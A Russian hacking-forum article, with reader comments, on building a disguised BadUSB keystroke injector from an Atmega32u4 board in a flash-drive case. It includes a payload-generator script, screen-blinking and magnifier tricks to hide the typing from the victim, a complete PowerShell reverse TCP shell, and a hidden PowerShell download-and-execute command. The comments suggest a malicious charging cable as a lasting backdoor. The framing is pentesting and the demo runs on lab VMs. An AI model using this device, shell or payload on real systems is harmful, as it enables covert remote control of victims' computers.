Статья Собери себе BadUsb, не хуже, чем Rubber Ducky от Hak5

Всем привет!

Представляю вашему вниманию статью из разряда “очумелые ручки”.
С помощью пластиковых бутылок платы с микроконтроллером Atmega32u4 и паяльника сделаем BadUSB.

Вот ссылки на статьи об устройстве BadUSB на нашем форуме, при разработке я их активно использовал и перерабатывал под свои нужды. Всем авторам и комментаторам спасибо.

Введение

Да, возможно, кого-то тема BadUSB уже подзадолбала, но я давно хотел смастерить девайс, реально похожий на флешку и не стоящий 50 баксов, как оригинальное устройство от Hak5.

1599690815423.jpeg

(Оригинальное устройство от Hak5)
На выходе мы получим аккуратное устройство, похожее на флешку, имеющее на борту достаточно памяти, чтобы набрать shell-код с помощью ALT-кодов.
Короче говоря - дешево, красиво, эффективно (ну, насколько это может позволить BadUSB).

1599690913410.png

(Вот такое устройство у нас получится)​

Себестоимость нашего устройства выйдет долларов в 6-7 без доставки компонентов и без стоимости оборудования.

Подготовка

Необходимые инструменты:
  • Ножницы по металлу (они позволят нам меньше работать напильником);
  • Напильник;
  • Паяльник, флюс, припой;
  • Спирт (отмывать плату от флюса, не употреблять внутрь);
  • Руки (если руки золотые, то неважно, откуда они растут)
Необходимые компоненты:
  • Плата с микроконтроллером Atmega32u4;
  • Флешка, которую мы распотрошим и будем использовать от неё корпус;
  • USB Type-A разъём, чтобы устройство выглядело убедительно и была похожа на настоящую (я рекомендую разъемы с небольшими хвостиками, а не под пайку проводов).
1599691426064.png


1599691518378.png


1599691641702.png


Итак, использовать в своем рукоблудстве рукожопстве проекте я буду плату, которую на просторах алиэкспресса называют Mini SS Micro.

Плата имеет интересный форм-фактор, маленький размер и на борту распаян микроконтроллер Atmega32U4.
Также, на алиэкспрессе я встретил плату Beetle Leonardo, которая стоит на 1 доллар дороже (4.5 бакса),

1599692166154.png

(Beetle Leonardo здорового человека)​

но она стала жертвой моих рук из ж… погибла смертью храбрых при попытке уменьшить её размер и запихнуть в корпус флешки.

1599692234089.png
1599692262248.png

(Beetle Leonardo курильщика)​

Почему для устройства я выбрал плату Mini SS Micro:
  • Она дешёвая и на ней установлен микроконтроллер, позволяющий эмулировать клавиатуру;
  • В ней в 4,5 раза больше памяти, чем в Digispark (28 Кб ATmega32u4 против 6 Кб Attiny85 (значения после вычета загрузчика));
  • Размер платы (длина 30-мм , ширина 20-мм, плюс эти размеры можно ещё уменьшить), если подработать напильником - влезет в стандартный корпус флешки;
  • Именно из-за размеров я не выбрал плату Arduino Pro Micro, у неё длина 35-мм и уменьшить этот размер нет никакой возможности;
  • Разъем формата USB Type-A, (удобнее паять, чем Micro usb).

1599692711048.png
1599692700187.png
1599697730776.jpeg

(Mini SS Micro vs. Pro Micro)​

Далее приведу размеры внутреннего пространства выбранного типа флешки:
  • Ширина - 16.44 мм;
  • Длина до стоек - 27,1 мм;
  • Длина до начала закругления - 32.4 мм.

1599699086282.png

(Богатый внутренний мир донорской флешки)​

Заканчиваем с описанием и начинаем работать руками, а потом головой.

Собираем устройство

Берём плату и ножницы по металлу и первыми делом с отрезаем боковые части в области отверстий под пайку.
Далее аккуратно шлифуем напильником с двух сторон, до момента, пока плата не влезет во флешку.

К сожалению, я нигде не смог найти в интернете схему этой чудо-платы, чтобы точно сказать, до какого места можно шлифовать.
Однако, когда я делал своё устройство, то я старался ориентироваться на шелкографию отверстий под пайку, оставляя нетронутой часть, как показано на изображении ниже.

1599693487228.png

(Красным отмечены линии реза и последующей шлифовки)
Следующим шагом отрезаем переднюю часть платы, чтобы дорожки для подключения платы к USB были ровные и их было удобнее паять к разъему USB Type-A (не понимаю, почему китайцы их сделали разными🤔)

Теперь достаём паяльник, флюс и начинаем паять (я использовал глицин и какой-то китайский припой).
Примеряем внешний разъем USB Type-A к нашей плате, совсем чуть-чуть лудим контакты на плате и контакты на разъеме.
Далее накладываем их друг на друга и припаиваем, получается аккуратно и относительно крепко.

(Для желающих погрузиться в сферу пайки крайне рекомендую вот эту серию видео, но вообще на просторах интернета полно информации про пайку, главное в этом деле больше практики)

1599694028802.png

(Плата после пайки с флюсом выглядит крайне не привлекательно)​

Не забываем отмыть флюс! Да, глицин ,вроде, не вызывает сильной коррозии на контактах и не коротит, но выглядит плата неаккуратно, и почистить плату лишним никогда не будет.

1599694286787.png

(Плата выглядит уже лучше)​

Далее, можем примерить получившееся устройство в корпус от флешки, и, если всё устраивает, то я рекомендую посадить плату в корпус флешки на клей (я посадил на горячие сопли термоклей и он держит отлично).

Программируем наше устройство

Так получилось, что пока комплектующие добирались до меня, участник форума (elrock) успел меня опередить и написать статью об использовании ALT-кодов для ввода команд латиницей при любой раскладке клавиатуры.
Поэтому особо не буду вдаваться в подробности работы контроллера с ALT кодами, ссылка на статью указана в начале поста (Учим BadUSB работать с разными раскладками клавиатуры).

Я же для себя подготовил простой скрипт на Python, который сначала переводит символы из строки в код символа, согласно ASCII таблице. Далее код каждого символа преобразуется в последовательность нажатий клавиш на NumPad при нажатой кнопке ALT.

1599694662328.png

(Дружелюбный интерфейс скрипта)
Команды можно вводить последовательно, главное - после ввода всех команд нажать CTRL+C, чтобы скрипт корректно сохранил код нашей функции в файл payload.txt

Python:
# На оптимальность кода не претендую, я ещё тот лошара в Python, но задачу он свою выполняет.
# Когда попаду в Gray Team запишусь на Курс «Python для Пентестера»)))

import sys

print ("\nBad_ArdUSBino payload generator")
print ("You can enter multiple commands line by line")
print ("They will be converted to alt codes and saved to 'payload.txt' file")
print ("Paste this playload function to arduino scetch and it will work with any keyboard layout!")

numpadCodes = [234,225,226,227,228,229,230,231,232,233,234]
f = open('payload.txt', 'w')
f.write("void payload()\n{")
loop = 1


while loop > 0:
    try:
        y = 0
        cmd = input("\nEnter the string (CTRL+C for save and exit): ")
        f = open('payload.txt', "a")
        if (loop != 1):
            f.write("\n    delay(500);\n")
        f.write("\n    //command: {}\n".format(cmd))
        print ("")
        code = list(bytes(cmd, encoding="ascii"))
        print ("ASCII code for string =",code)
        print ("")
        for i in code:
            if i > 99 :
       
                i31 = i // 100
                i32 = i // 10 % 10
                i33 = i % 10
                i31 = numpadCodes[i31]
                i32 = numpadCodes[i32]
                i33 = numpadCodes[i33]
       
                print ("altRun3({},{},{});".format(i31,i32,i33))
                s = "    altRun3({},{},{});\n".format(i31,i32,i33)
                f.write(str(s))
            else:
                if i > 9:
                    i21 = i // 10 % 10
                    i22 = i % 10
                    i21 = numpadCodes[i21]
                    i22 = numpadCodes[i22]

                    print ("altRun2({},{});".format(i21,i22))
                    s="    altRun2({},{});\n".format(i21,i22)
                    f.write(str(s))
       
                else:
                    i11 = i
                    i11 = numpadCodes[i11]

                    print ("altRun1({});".format(i11))
                    s = "    altRun1({});\n".format(i11)
                    f.write(str(s))
   
            if (y == 20):
                print ("blinkScreen();")
                s = "    blinkScreen();\n"
                f.write(str(s))
                y = 0
            y += 1

        print ("delay(50);")
        s = "    delay(50);\n"
        f.write(str(s))

        print ("typeKey(KEY_RETURN);")
        s = "    typeKey(KEY_RETURN);\n"
        f.write(str(s))

        f.close()
        loop += 1

    except KeyboardInterrupt:
        print ("\n\nAll saved to 'payload.txt'")
        print ("Have a nice day!")
        f = open('payload.txt', "a")
        f.write("}")
        f.close()
        sys.exit()

После подготовки кода "полезной нагрузки" нам остаётся его скопировать из файла payload.txt и вставить в наш скетч.

Я долго размышлял над вариантами отвлечения внимания пользователя компьютера во время набора команд.
В своё время были мысли сделать скетч, который куртил-вертел изображения экрана с помощью горячих клавиш WIndows, но эту фишку убрали.

Однако я нашёл ещё один вариант: с помощью комбинации клавиш WIN+CTRL+SHIFT+B мы можем перезагрузить видеодрайвер, экран погаснет секунды на 2, но возможность вводить текст с клавиатуры в это время не будет заблокировано. Поэтому я подготовил 4 варианта скетча:
1. Первый скетч - «Привет, эпилептик!».​
Через каждые 15 символов ввода мы будем перезагружать видеодрайвер, и экран будет «весело» моргать.​
После ввода «полезной нагрузки» устройство блокируем комп.​
Да, это не очень сильно осложнит восприятие ввода команды, будет крайне подозрительно, но оставим и такой вариант. Вдруг у пользователя частота моргания глаз войдёт в резонанс с частотой моргания экрана, тогда он точно ничего не увидит🤣

1599695247635.png

(Если не получим доступ к компьютеру, то хотя бы вызовем у жертвы мигрень!)​

2. Второй скетч - «Чешский крот».​
Перед началом выполнения «полезной нагрузки» мы с помощью горячих клавиш Windows 10 включаем экранную лупу и максимально приближаем изображение.​
При вводе текста нашим устройством лупа переместится к экрану ввода, но увидеть можно будет только часть окна.​
После завершения ввода мы отключаем экранную лупу и блокируем комп.​

1599695382145.png

(Плохо видно, можно покрупнее???)​

3. Третий скетч является комбинацией первого и второго скетча, он получит кодовое название «Крот-эпилептик».​
Как понятно из названия, мы включаем экранную лупу, и через каждые 15 символов ввода мы будем перезагружать видеодрайвер для моргания экраном.​
После завершения ввода команды - выключаем экранную лупу и блокируем комп.​

1599695520566.png

(Выглядит уже интереснее)​
4. Скетч “Блиц-скорость без границ”. В этом варианте наше устройство будет просто быстро набирает команду, а потом заблокирует комп. Скучно, но работает.​

1599695620514.jpeg

(Может, кто-то будет очень долго моргать и не заметит?)​

Все приложенные скрипты это - один и тот же скрипт, в котором присутствуют или отсутствуют комментарии некоторых строк кода и изменены тайминги задержек.
Также в коде, в разделе setup(), есть 2 закомментированные строки. Они отвечают за нажатие кнопки NumLock и повторное выполнение кода.
Существует вероятность, что NumLock будет отключен, и тогда все наши ALT-коды не сработают, поэтому можно продублировать выполнение кода после включения NumLock.
Для себя я эти строки закомментировал, но вы можете их раскомментировать.

(Project.zip прикреплен в конце этого поста)

Переходим к демонстрации

В качестве демонстрации я записал короткие видеоролики, на них показаны 2 виртуальные машины. Одна - с Win 10, другая - с Kali Linux.
На Kali у нас запущен listener на порту 7997 и веб-сервер, на котором лежит текстовый файл, который содержит в себе reverse shell, написанный на PowerShell.

Код:
<#
.AUTHOR
0x10F8

.SYNOPSIS
Allows a device running powershell capable windows to connect to a remote server and
interpret commands from this server as commands on the device (reverse tcp shell).

.EXAMPLE
Connect back to the reverse shell server
PS C:\> .\reverse_tcp.ps1 -s 127.0.0.1 -p 9001
If you want to debug the script the verbose option will output a lot of info during running
#>
$server = "172.16.0.11"
$port = 7997
# Read the required parameters
#Param (
#    [Parameter(Mandatory = $true)]    [string]    [ValidateNotNullOrEmpty()]  [Alias('s')]  $server,
#    [Parameter(Mandatory = $true)]    [int]       [ValidateNotNullOrEmpty()]  [Alias('p')]  $port
#)

$WAIT_MS = 500 # Time (ms) to wait between reads from the tcp socket

function Get-Connection-State([System.Net.Sockets.TcpClient] $connection) {
    <#
    .Description
    Gets the connection state for the TcpClient object given.
    The response will be a System.Net.NetworkInformation.TCPState object
    #>
    $connection_props = [System.Net.NetworkInformation.IPGlobalProperties]::
    GetIPGlobalProperties().GetActiveTcpConnections().Where( {
            $_.LocalEndPoint -eq $connection.Client.LocalEndPoint -and $_.RemoteEndPoint -eq $connection.Client.RemoteEndPoint
        })
    return $connection_props.State
}

function Invoke-Cmd([string] $command) {
    <#
    .Description
    Invokes the command given and returns the response as a string
    #>
    $response = ""
    if ($command) {
        Write-Verbose "Recieved command: $command"
        try {
            # Encode the command as base64 and send to powershell
            # This seems to solve some issues around formatting and escaping
            $commandbytes = [System.Text.Encoding]::Unicode.GetBytes($command)
            $base64command = [System.Convert]::ToBase64String($commandbytes)
            $response = &powershell.exe -EncodedCommand "$base64command" 2>&1 | Out-String
        }
        catch {
            $response = $error[0]
        }
        Write-Verbose "The response: $response"
    }
    return $response
}

Write-Verbose "Connecting to server $server on port $port"

# Create the TCP connection and setup readers and writers
$connection = New-Object System.Net.Sockets.TcpClient($server, $port)
$stream = $connection.GetStream()
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true

# Start read/write loop
$connected = $true
while ($connected) {

    # Read command
    if ($stream.DataAvailable) {
        $request = $reader.ReadLine()
    }

    # Handle command
    $response = Invoke-Cmd $request

    if ($response) {
        $writer.Write($response)
    }

    # Check if the remote server disconnected
    $connection_state = Get-Connection-State $connection
    $connected = ($connection_state -eq [System.Net.NetworkInformation.TCPState]::Established)

    # Reset request/response vars
    $request = ""
    $response = ""

    # Wait a short time before the next read/write loop
    start-sleep -Milliseconds $WAIT_MS
}

# Disconnect
Write-Verbose "Disconnected from server $server"
$reader.Close()
$writer.Close()
$connection.Close()

В качестве «полезной нагрузки» для нашего устройства мы будем использовать следующую команду:
Код:
powershell -NoProfile -WindowStyle Hidden -c "IEX((new-object system.net.webclient).downloadstring('http://172.16.0.11/1.txt'))"


Демонстрации подготовки «полезной нагрузки» и прошивки устройства


Демонстрации применения готового устройства, виртуальная машина немного лагала, на живой системе всё отрабатывает быстрее.


Оригинальноя Rubber Ducky от Hak5 используется свой синтаксис , но, при желании и небольшом старании, в нём можно быстро разобраться и переписать готовые скрипты для уточки в формат выполнения кода под наше устройство.
Payloads оригинальной уточки можно найти тут.

Заключение

Я доволен результатом, готовое устройство мне нравится, выглядит хорошо, визуально не отличается от флешки.
Параноиков, вскрывающих флешки перед их использованием, я никогда не встречал, поэтому это может быть интересный и относительно дешевый инструмент для пентестов или использоваться для аудита осведомленности сотрудников (об этом я расскажу в следующей статье).

На просторах алиэкспресcа мной также были найдены альтернативные варианты BadUSB:
В виде флешки, они так же собраны на базе контроллера Atmega32u4.
Цена 7-10 баксов за штуку

1599697061768.png


Копия Rubber Ducky с возможностью использования скетчей с карты памяти, но без корпуса.
Так же собраны на базе контроллера Atmega32u4.
Цена около 10 баксов

1599697161658.png

Но, будем честны друг с другом, BadUSB имеет минусы, и не маленькие. Главный минус заключается в том, что любое нажатие на обычной клавиатуре, во время ввода команды устройством, с 95% вероятностью сломает "полезную нагрузку", и мы останемся с дырявым ведром у разбитого корыта.

Всем дочитавшим до конца спасибо за внимание!

P.S. Изначально, работая над этим проектом, я хотел использовать DigiSpark с Attyny85, но всё упёрлось в недостаток памяти на микроконтроллере.
1599697421121.png
 

Вложения

  • 1599692206175.png
    1599692206175.png
    21,2 КБ · Просмотры: 400
  • 1599693395779.png
    1599693395779.png
    16,5 КБ · Просмотры: 398
  • project.zip
    project.zip
    4,4 КБ · Просмотры: 517
Последнее редактирование модератором:
Спасибо за проделанную работу! Статья действительно получилась отличной.
Если бы не вы, то пришлось бы мне все это дело запихивать в здоровенный вай-фай адаптер :D :D :D

IMG_20200915_162111.jpg
 
  • Нравится
Реакции: Endry и BearSec
на мой взгляд проще себе сразу заказать , чем что-то разбирать и паять.
 
Спасибо за проделанную работу! Статья действительно получилась отличной.
Если бы не вы, то пришлось бы мне все это дело запихивать в здоровенный вай-фай адаптер :D :D :D
Да, я тоже ковырялся с кучей разных форм-факторов плат, но этот в итоге остановился на Mini SS Micro.
А первоначально были мысли использоваться полно-размерные arduino pro micro и маскироваться под внешний жесткий диск🤣


на мой взгляд проще себе сразу заказать , чем что-то разбирать и паять.
До момента написания статьи эти устройства попадались мне на просторах алиэкспреса и стоили с доставкой около 1к рублей. Теперь у меня вся лента ими заполнена за уже более вменяемые деньги.

Так что да, под массовую закупку возможно имеет смысл брать сразу готовые устройства.
С другой стороны тот вид флешек, что я предлагаю использоваться в качестве кейса для устройства, очень часто брендируют (гравируют или наклеивают названия компаний) и раздают на разных мероприятиях.
Этим тоже можно воспользоваться.
 
  • Нравится
Реакции: Dmitry888
Зачет) я бы добавил еще как сделать из шнура от зарядки для телефона ) сей продукт. Мысль: подменил шнурок от зарядки и у тебя стабильный бэкдор, минимум на несколько месяцев)) просто есть любители запитывать свою трубку от рабочего, домашнего компа )

проект кстати лежит на гитхабе!)
 
  • Нравится
Реакции: Dmitry888 и BearSec
Отличный вариант, молодец! Чисто русский подход к делу. Лично я в таких случаях испытываю гордость за нацию.
Итак, использовать в своем рукоблудстве рукожопстве проекте
Полно-те, брателла! Не ошибается только тот, кто ни шиша не делает!
Да, глицин ,вроде, не вызывает сильной коррозии на контактах и не коротит, но выглядит плата
А я предпочитаю для микропайки паяльный жир. Пайка отлично ложится даже на окисленные поверхности, а остатки жира легко удаляются. Попробуй.
я рекомендую посадить плату в корпус флешки на клей (я посадил на горячие сопли термоклей и он держит отлично).
Если делать "раз и навсегда", то можно использовать эпоксидку. Дешево и сердито. К тому же потом даже молотком не разбить, держит высокие температуры и ток не проводит.
 
  • Нравится
Реакции: BearSec
Зачет) я бы добавил еще как сделать из шнура от зарядки для телефона ) сей продукт. Мысль: подменил шнурок от зарядки и у тебя стабильный бэкдор, минимум на несколько месяцев)) просто есть любители запитывать свою трубку от рабочего, домашнего компа )

проект кстати лежит на гитхабе!)
Спасибо за отзыв! Видел такой кабель
устройство прям самый сок, на youtube они показывали как оно собирается и программируется.
а главное размеры usb вилки 1 в 1 как у оригинальных проводов.

Я пока только мечтать могу о подобном устройстве своими руками

Отличный вариант, молодец! Чисто русский подход к делу. Лично я в таких случаях испытываю гордость за нацию.

Полно-те, брателла! Не ошибается только тот, кто ни шиша не делает!

А я предпочитаю для микропайки паяльный жир. Пайка отлично ложится даже на окисленные поверхности, а остатки жира легко удаляются. Попробуй.

Если делать "раз и навсегда", то можно использовать эпоксидку. Дешево и сердито. К тому же потом даже молотком не разбить, держит высокие температуры и ток не проводит.
Так же благодарю за отзыв. Про паяльный жир где-то слышал, но сам не пробовал. Возьму на заметку.

По поводу эпоксидки хороший вариан, ппосле всех отладочных мероприятий можноззалить и забыть. Единственный вопрос,который пришёл в голову, а как микроконтроллер будет себя чувствовать под эпоксидкой. Не будет ли сильно нагреваться?
 
Последнее редактирование:
Единственный вопрос,который пришёл в голову, а как микроконтроллер будет себя чувствовать под эпоксидкой. Не будет ли сильно нагреваться?
Смола отлично проводит тепло. Я полагаю, что охлаждать придется(?) сам корпус, а потому при нагревании микропроцессора более 60-70 градусов в номинальном режиме пластмассовые корпуса флешек предпочтительнее заменить на металлизированные.
 
Да, я тоже ковырялся с кучей разных форм-факторов плат, но этот в итоге остановился на Mini SS Micro.
А первоначально были мысли использоваться полно-размерные arduino pro micro и маскироваться под внешний жесткий диск🤣



До момента написания статьи эти устройства попадались мне на просторах алиэкспреса и стоили с доставкой около 1к рублей. Теперь у меня вся лента ими заполнена за уже более вменяемые деньги.

Так что да, под массовую закупку возможно имеет смысл брать сразу готовые устройства.
С другой стороны тот вид флешек, что я предлагаю использоваться в качестве кейса для устройства, очень часто брендируют (гравируют или наклеивают названия компаний) и раздают на разных мероприятиях.
Этим тоже можно воспользоваться.
Подскажите пожалуйста можно ли заказывать bad usb с али 2021 ?
Есть ли запрет на жанный момент
Спасибо
 
Подскажите пожалуйста можно ли заказывать bad usb с али 2021 ?
Есть ли запрет на жанный момент
Спасибо
Да, можно спокойно заказать.
По факту придёт флешка с голым микроконтроллером, а дальше его просто прошивать
 
  • Нравится
Реакции: Sdx0
Да, можно спокойно заказать.
По факту придёт флешка с голым микроконтроллером, а дальше его просто прошивать
Спасибо за ответ
Еще вопрос вам, вай фай карта для проникновения для тестирования сетей , как например cdlinux (я так понимаю его можно использовать как усилитель) так же относится к этой категории, нет запрета?
Спасибо
 
Последнее редактирование:
Подскажите пожалуйста можно ли заказывать bad usb с али 2021 ?
Есть ли запрет на жанный момент
Спасибо
Ну, если боишься, что примут (а это маловероятно), то можешь заказать на дропа)
 
Последнее редактирование:
  • Нравится
Реакции: Sdx0
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!